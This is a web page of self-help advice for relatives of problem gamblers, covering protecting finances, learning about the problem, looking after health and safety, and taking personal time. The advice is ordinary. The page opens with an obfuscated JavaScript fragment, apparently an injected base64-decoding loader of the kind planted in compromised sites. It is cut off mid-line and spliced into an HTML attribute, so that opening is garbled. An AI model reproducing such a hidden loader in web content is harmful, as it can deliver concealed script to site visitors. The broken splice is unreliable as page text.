function h94fcba1e7(y1){var vd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var yb='';var p3,na,pc,q9,y3,w4,u5;var p6=0;do{q9=vd.indexOf(/?lang=fp" />

Helping Yourself


Protect your finances.
Know what you have to deal with.
Take care of your physical & emotional health.
Take time for yourself.

Protect your finances.

  • Visit your financial advisors (banks, retirement accounts, etc.) to make sure you have control over the finances that you are able to control.
  • You may choose whether or not to tell your financial advisors about the gambling problem in your family. In some instances, divulging the problem may not be in your best interest.
  • Don’t let the gambler have unnecessary access to cash and credit that you can control on your own
  • Put your family on a budget that allows for spending money, but not access to money required for necessities.
  • Don’t assume the gambler’s debt.
  • Talk to financial experts to get professional advice on your finances, and to determine your rights in regards to another person’s debt.
  • Don’t sign anything you don’t understand without professional advice.

Know what you have to deal with.

  • You will be better able to help both yourself and the problem gambler if you gather as much information as possible about the problem.
  • Becoming more knowledgeable will also help you to prepare for future issues, enabling you to minimize the impact that problem gambling may have on you and your family.

Take care of your physical & emotional health.

  • Don’t let the gambler blame you or harm you. Physical, emotional or financial abuse is not acceptable at any time or in any situation. Remember that in a problem gambling situation, family members often experience a great deal of stress, worry and other difficulties. Remember that it is normal to feel anger, betrayal or insecurity about the future, making it necessary for you to take action to protect yourself and your family.
  • It is not unusual for the family members of a problem gambler to feel isolated or shameful about the situation. The social stigma on problem gambling still exists, and it can prevent a lot of people from getting the help they need to solve their problems effectively.
  • Keep in mind that your wellbeing is just as important as others in the family. Your safety is the top priority, so do whatever is necessary to keep safe. In severe situations, this may mean calling the police or finding an alternate living arrangement.

Take time for yourself.

  • You may find yourself so wrapped up in the gambler’s problem and its impact on you and your family that you become resentful and angry. It’s important to put the problem out of your mind at times so you can have some happy, stress-free time to yourself.
  • Take time to participate in the activities you enjoy and to spend time with friends. Doing this will give you the break you need, enabling you to better deal with the problem.
  • At any time that you feel you are having difficulties dealing with the situation, you can consider getting professional help.

Back to Top